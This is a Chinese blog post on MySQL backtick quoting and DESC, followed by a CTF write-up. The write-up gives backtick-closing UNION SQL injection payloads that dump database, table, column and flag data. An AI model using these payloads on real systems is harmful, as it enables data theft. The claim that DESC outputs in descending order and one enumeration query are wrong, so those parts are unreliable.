sql中反引号的作用以及desc的使用

反引号在mysql中的作用

反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号

#假如表A中有一列名为select,查询该列
select select from A;   #错误
select `select` from A;  #正确

desc的使用

很多情况下对表内部结构不熟悉,这时可通过desc +表名来查看表结构并将其降序输出

#假如存在表flag,用desc(describe)查询该表信息
desc flag A;  #显示flag表信息,别名为A
desc `flag` `A` #与上述语句相同

相关题目

题目链接:http://web.jarvisoj.com:32794/

Hint: 先找到源码再说吧~~

dirsearch扫描,得到源码:http://web.jarvisoj.com:32794/index.php~

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

可以通过反引号闭合来进行sql注入

1.payload: ?table=test`` union select database() limit 1,1

相当于

mysqli_query($mysqli,"desc ` secret_test`` union select database()limit 1,1`") or Hacker();

得到数据库61d00,接着爆表

?table=test``union select group_concat(table_name) from information_schema.tables where table_schema = database() limit 1,1

得到secret_flag,secret_test,接着爆字段:

?table=test``union select group_concat(column_name) from information_schema.columns where table_name =database() limit 1,1

得到flagUwillNeverKnow,最后爆出flag:

?table=test ``union select flagUwillNeverKnow from secret_flag limit 1,1

原文地址:https://www.cnblogs.com/NPFS/p/12839671.html